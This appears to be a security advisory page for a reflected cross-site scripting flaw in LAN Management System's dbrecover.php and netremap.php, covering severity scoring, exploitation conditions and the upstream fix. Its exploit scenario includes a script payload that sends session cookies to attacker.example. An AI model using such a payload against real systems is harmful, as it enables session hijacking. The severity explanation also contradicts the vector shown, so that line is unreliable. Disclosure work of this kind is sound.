EUVD-2026-37876
GHSA-3vrh-xvg4-68rm
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attacker requires no authentication (PR:N), but victim must actively click a crafted link (UI:R); JavaScript executes in victim's browser scope (S:C) with low C/I impact and no server-side availability effect.
Primary rating from Vendor (CERT-PL).
CVSS VectorVendor: CERT-PL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in LMS (LAN Management System) before commit 9c5651b in the "dbrecover.php" and "netremap.php" modules where unsanitized GET parameters are directly embedded into HTML output. This allows an attacker to inject arbitrary JavaScript when an authenticated user clicks a crafted link, provided the required conditions (such as a network defined in the system) are met.
AnalysisAI
Reflected XSS in LAN Management System (LMS) before commit 9c5651b allows network-positioned attackers to inject arbitrary JavaScript into the browsers of authenticated LMS users by crafting malicious links targeting the dbrecover.php and netremap.php modules. The db, id, and mapto GET parameters were directly concatenated into HTML anchor elements without sanitization, as confirmed by the upstream commit diff. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three concurrent conditions must be satisfied: (1) The victim must be an authenticated LMS user with access to the `dbrecover.php` or `netremap.php` modules - unauthenticated users are not a viable victim pool since these are internal management interfaces; (2) the victim must actively click a crafted, attacker-controlled URL (CVSS UI:A - no passive or drive-by exploitation path exists); (3) for the `netremap.php` vector specifically, at least one network must be defined in the LMS instance, as the module's confirmation flow - where the injection occurs - is only reachable when network objects exist (AT:P in CVSS 4.0). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 2.1 (AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) accurately reflects a low-severity finding despite the network-facing vector. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies an LMS administrator and crafts a phishing link embedding a JavaScript payload in the `db` GET parameter targeting `dbrecover.php` - for example, appending `<script>document.location='https://attacker.example/steal?c='+document.cookie</script>` as the parameter value. When the authenticated administrator clicks the link, the LMS server reflects the unescaped parameter directly into the HTML response, causing the attacker's script to execute in the victim's browser session. … |
| Remediation | Apply the upstream fix by updating LMS to a build incorporating commit 9c5651b (https://github.com/chilek/lms/commit/9c5651b39bfd086cc34fc9a78ddaa8c0815af114), which adds `htmlspecialchars()` escaping to all affected GET parameters in both `dbrecover.php` and `netremap.php`. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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